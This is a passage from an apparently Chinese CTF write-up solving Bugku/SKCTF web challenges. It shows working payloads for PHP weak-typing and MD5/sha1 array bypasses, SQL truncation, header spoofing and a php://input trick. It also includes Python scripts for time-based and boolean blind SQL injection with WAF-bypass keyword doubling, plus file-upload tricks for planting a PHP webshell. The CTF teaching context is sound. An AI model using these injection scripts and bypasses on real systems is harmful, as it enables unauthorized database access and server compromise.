"/":将下一个字符标记为一个特殊字符、或一个原义字符、或一个向后引用、或一个八进制转义符。例如,“
”匹配字符“n”。“\n”匹配一个换行符。序列“\”匹配“”而“(”则匹配“(”

构造payload

http://123.206.87.240:8002/web10/?id=key999key9999key:/9/999keyy^

get flag:

 key is: KEY{0x0SIOPh550afc}

28. 前女友(SKCTF)

考点:MD5 、代码审计

Topic Link:http://123.206.31.85:49162/

查看页面源码

<html>
<head>
    <title></title>
    <style type="text/css">
    .link {
        text-decoration: none;
        color: #000;
    }
    .link:hover {
        text-decoration: none;
        color: #000;
    }
    </style>
</head>
<body>
<div align="center">
<p>分手了,纠结再三我没有拉黑她,原因无它,放不下。
<p>终于那天,竟然真的等来了她的消息:“在吗?”
<p>我神色平静,但颤抖的双手却显示出我此刻的激动。“怎么了?有事要我帮忙?”
<p>“怎么,没事就不能联系了吗?”结尾处调皮表情,是多么的陌生和熟悉……
<p>“帮我看看这个...”说着,她发来一个<a class="link" href="code.txt" target="_blank">链接</a><p>不忍心拂她的意就点开了链接,看着屏幕我的心久久不能平静,往事一幕幕涌上心头......
<p>。。。。。。
<p>“我到底做错了什么,要给我看这个!”
<p>“还记得你曾经说过。。。。。。。。”
<h2>PHP是世界上最好的语言</h2>
</div>
</body>
</html>

根据提示点击链接,得到php代码

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>

代码审计发现需要满足两个条件:1. if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])) ==》 TRUE 

               2. if($v1 != $v2 && md5($v1) == md5($v2))  ==》 TRUE

利用MD5特殊字符串和strcmp()函数不能不处理数组进行构造payload

?v1=QNKCDZO&v2=s1885207154a&v3[]=11

利用MD5和strcmp()函数不能不处理数组进行构造payload

?v1[]=13&v2[]=12&v3[]=11

get flag:

SKCTF{Php_1s_tH3_B3St_L4NgUag3}

 

29. login1(SKCTF)

考点:基于约束的SQL攻击

Topic Link:http://123.206.31.85:49163/

先去注册一个用户进行登陆看看页面是否有特殊的信息显示

注册:

username: "123"

password: "aA123456"

登陆:

根据登陆显示 and 题目提示SQL约束攻击

构造payload:

注册:

//username中空格数要大于uesrname字段值的设置值(空格数尽量多一些, 多余的部分将会被截断),绕过注册限制

username: "admin                                       0"  

password: "aA123456"

登陆:

//真正成功存入数据库中的是"admin                                       " 原因username字段没有设置unique字段限制,"admin"="admin+空格"导致绕过admin的限制

username: "admin                                       " 

password: "aA123456"

get flag:

SKCTF{4Dm1n_HaV3_GreAt_p0w3R} 

 

30. 你从哪里来

考点:HTTP请求

Topic Link:http://123.206.87.240:9009/from.php

根据页面提示,构造HTTP请求头,添加Referer字段:Referer: https://www.google.com

抓包构造

get flag:

flag{bug-ku_ai_admin}

 

31.md5 collision(NUPT_CTF)

考点:php弱类型

Topic Link:http://123.206.87.240:9009/md5.php

 

根据提示传入参数a,但是显示false,有题目可猜测MD5碰撞,尝试构造payload

MD5碰撞列表

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020
  
s155964671a
0e342768416822451524974117254469
  
s214587387a
0e848240448830537924465865611904
  
s214587387a
0e848240448830537924465865611904
  
s878926199a
0e545993274517709034328855841020
  
s1091221200a
0e940624217856561557816327384675
  
s1885207154a
0e509367213418206700842008763514

get flag:

flag{md5_collision_is_easy}

32. 程序员本地网站

考点:HTTP请求 

Topic Link:http://123.206.87.240:8002/localhost/

根据提示从本地访问,在HTTP请求头里面加上字段 X-Forwarded-For: 127.0.0.1 或者 Client-Ip: 127.0.0.1

get flag:

flag{loc-al-h-o-st1}

 

33. 各种绕过

考点:代码审计、sha1()

Topic Link:http://123.206.87.240:8002/web7/

 

代码:

<?php 
highlight_file('flag.php'); 
$_GET['id'] = urldecode($_GET['id']); 
$flag = 'flag{xxxxxxxxxxxxxxxxxx}'; 
if (isset($_GET['uname']) and isset($_POST['passwd'])) { 
    if ($_GET['uname'] == $_POST['passwd']) 

        print 'passwd can not be uname.'; 

    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')) 

        die('Flag: '.$flag); 

    else 

        print 'sorry!'; 

} 
?>

代码审计需要满足:1. $_GET['uname']  != $_POST['passwd']

         2. sha1($_GET['uname']) === sha1($_POST['passwd'])   //利用数组绕过

         3. $_GET['id']=='margin')

利用sha1()不能处理数组进行构造payload

http://123.206.87.240:8002/web7/?uname[]=999&id=margin

POST:passwd[]=6666

get flag:

 Flag: flag{HACK_45hhs_213sDD}

 

34. web8

考点:php伪协议

Topic Link:http://123.206.87.240:8002/web8/

页面源码

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

代码审计发现需要满足两个条件:1. ac不能为空

               2. $ac === $f

利用php伪协议:php://input  构造payload

http://123.206.87.240:8002/web8/?ac=123&fn=php://input

POST:123

get flag:

This is flag: flag{3cfb7a90fc0de31}

 

35. 细心

考点:渗透测试 

Topic Link:http://123.206.87.240:8002/web13/

利用御剑web扫描器进行网站的扫描

访问 http://123.206.87.240:8002/web13/robots.txt 根据提示再访问 http://123.206.87.240:8002/web13/resusl.php

根据提示管理员admin尝试给x赋值为admin,意外得到flag

get flag:

flag(ctf_0098_lkji-s)

 

36.求getshell

考点:文件上传

Topic Link:http://123.206.87.240:8002/web9/

根据提示需要上传php马,经过测试需要满足一下几个条件

1、文件名filename=*.php5

2、文件类型Content-Type: image/jpeg

3、数据包类型Content-Type: multipart/form-datA  #大小写绕过

get flag;

KEY{bb35dc123820e}

37. INSERT INTO注入

考点:HTTP头部注入、WAF绕过

Topic Link:http://123.206.87.240:8002/web15/

代码:

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

分析是HTTP头部注入

1. 代码0报错:error_reporting(0) 所以不考虑报错注入

2. 代码只有IP回显所以不考虑Boolean注入

3. 注入归于时间注入

payload:

#-*- encoding: utf-8 -*-
import requests

str_value="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,_!@#$%^&*."
url="http://123.206.87.240:8002/web15/"
flag=""

#爆表名长度:14
#data = 11'  and (case when (length((select group_concat(table_name) from information_schema.tables where table_name=database()))=14) then sleep(4) else 1 end)) #
#爆表名值:client_ip,flag
#data = "11'and (case when (substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ) from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"

#爆字段长度:4
#data = 11'  and (case when (length((select group_concat(column_name) from information_schema.columns where table_name='flag'))=4) then sleep(4) else 1 end)) #
#爆字段值:flag
#data = "11' and (case when (substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"

#爆字段内容长度:32
#data = 11'  and (case when (length((select group_concat(flag) from flag))=32) then sleep(4) else 1 end)) #
#爆字段内容:xxxxxxxxxxxxxxxxxxxxxxxx
#data = "11' and (case when (substr((select group_concat(flag) from flag) from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"

for i in range(1,33):
    for str1 in str_value:
        data = "11' and (case when (substr((select group_concat(flag) from flag) from " + str(i) + " for 1 )='" + str1 + "') then sleep(5) else 0 end )) #"
        headers = {"x-forwarded-for":data}
        try:
            result = requests.get(url,headers=headers,timeout=4)
        except:
            flag += str1
            print("flag:"+flag)
            break
print('End_Flag:' + flag)

get flag:

flag{cdbf14c9551d5be5612f7bb5d2827853}

 

38. 这是一个神奇的登陆框

考点:SQL注入

地址:http://123.206.87.240:9001/sql/

对Username进行测试发现admin"会显示错误信息,admin"#时显示正常,猜测存在联合注入

查询字段数

admin" order by 1,2# False
admin" order by 1,2,3# True

查询数据库

admin" union select databses(),2#

查询表

admin" union select group_concat(table_name),2 from information_schema.tables where table_schema='bugkusql1'#

查询flag1表字段

admin" union select group_concat(column_name),2 from information_schema.columns where table_name='flag1' and table_schema='bugkusql1'#

查询字段数据

admin" union select group_concat(flag1),2 from bugkusql1.flag1#

get flag:

flag{ed6b28e684817d9efcaf802979e57aea}

39. 多次

考点:SQl 注入

地址:http://123.206.87.240:9004

初始界面

测试发现可能存在注入

通过fuzz测试查看过滤了那些关键字

payload1

# 123.206.87.240:9004/1ndex.php?id=1' anandd length("sselectelect") --+ true
# 123.206.87.240:9004/1ndex.php?id=1' anandd length("select") --+ false

在知道过滤了那些关键字之后,继续测试发现存在布尔盲注

payload2

http://123.206.87.240:9004/1ndex.php?id=1%27%20anandd%201=1--+
http://123.206.87.240:9004/1ndex.php?id=1%27%20anandd%201=2--+

在已知存在布尔盲注的基础上编写 POC1

import requests

url = "http://123.206.87.240:9004/1ndex.php?id=1' anandd (ascii(substr((selselectect database()),{_},1))>{__}) --+"
#url = "http://123.206.87.240:9004/1ndex.php?id=1' anandd (seselectlect ascii(substr((selselectect group_concat(table_name separatoorr ':') from infoorrmation_schema.tables where table_schema=database()),{_},1))>{__}) --+"
#url = "http://123.206.87.240:9004/1ndex.php?id=1' anandd (seselectlect ascii(substr((seselectlect group_concat(column_name separatoorr ':') from infoorrmation_schema.columns where table_name='flag1' anandd table_schema=database()),{_},1))>{__}) --+"
#url = "http://123.206.87.240:9004/1ndex.php?id=1' anandd (selselectect ascii(substr((selselectect group_concat(flag1,':',address separatoorr '?') from flag1),{_},1))>{__}) --+"


data = ''

for  i  in range(1,100):
    min = 33
    max = 126
    while min<=max:
        mid = (max + min)//2
        payload = url.format(_=i,__ = mid)
        r = requests.get(payload)
        if 'There is nothing.' in r.text:
            min = mid+1
        else:
            max = mid-1

    data += chr(min)
    print(data)
print("done")

PS:此处的Waf可用双写关键字绕过

Run 数据库:

Run 表: 

Run 字段: 

Run 字段 Value: 

根据提示表flag1的flag1字段内容肯定不是真的flag,在表flag1的address字段中发现新的Hint 

尝试访问./Once_More.php 

手动测试又一次发现存在布尔盲注

payload3

http://123.206.87.240:9004/Once_More.php?id=1%27%20and%201=1--+
http://123.206.87.240:9004/Once_More.php?id=1%27%20and%201=2--+

手动测试发现过滤了union、substr

测试过程的记录

在上面的基础上编写新的POC2

import requests

#url = "http://123.206.87.240:9004/Once_More.php?id=1' and (ascii(mid((select database()),{_},1))>{__}) --+"
#url = "http://123.206.87.240:9004/Once_More.php?id=1' and (select ascii(mid((select group_concat(table_name separator ':') from information_schema.tables where table_schema=database()),{_},1))>{__}) --+"
#url = "http://123.206.87.240:9004/Once_More.php?id=1' and (select ascii(mid((select group_concat(column_name separator ':') from information_schema.columns where table_name='flag2' and table_schema=database()),{_},1))>{__}) --+"
url = "http://123.206.87.240:9004/Once_More.php?id=1' and (select ascii(mid((select group_concat(flag2,':',address separator '?') from flag2),{_},1))>{__}) --+"


data = ''

for  i  in range(1,100):
    min = 33
    max = 126
    while min<=max:
        mid = (max + min)//2
        payload = url.format(_=i,__ = mid)
        r = requests.get(payload)
        if 'Hello,I Am Here!' in r.text:
            min = mid+1
        else:
            max = mid-1

    data += chr(min)
    print(data)
print("done")

PS:substr使用mid替换

Run 数据库: 

Run 表: 

Run 字段: 

 

Run 字段 Value: 

更据提示 flag 为小写

get flag:

flag{bugku-sql_6s-2i-4t-bug}

42. flag.php

考点:代码审计、php反序列

地址:http://123.206.87.240:8002/flagphp/

 

点击login确实没反应,根据提示:hint 可能是一个变量,尝试访问 http://123.206.87.240:8002/flagphp/?hint= 得到网页源码正常信息

 <?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
  <form method="POST" action="#">
    <p><input name="user" type="text" placeholder="Username"></p>
    <p><input name="password" type="password" placeholder="Password"></p>
    <p><input value="Login" type="button"/></p>
  </form>
</div>
</body>
</html>

<?php
}
$KEY='ISecer:www.isecer.com';
?> 

代码审计发现需要满足:1. $cookie = $_COOKIE['ISecer']的值必须是经过序列化之后的值

           2. unserialize($cookie) === "$KEY"  //此处的$key==null

利用BurpSuite抓包在http请求头部添加cookie字段:ISecer=s:0:"";

get flag:

flag{unserialize_by_virink}

 

48. flag.php

考点:代码审计、php反序列、CBC字节反转攻击

地址:http://123.206.31.85:49168/

解题思路,请参考作者本篇文章:

CBC字节反转攻击 https://www.cnblogs.com/qftm/p/10595591.html

get flag:

SKCTF{CBC_wEB_cryptography_6646dfgdg6}

 

 

题目更新+ing

 

原文地址:https://www.cnblogs.com/qftm/p/10388710.html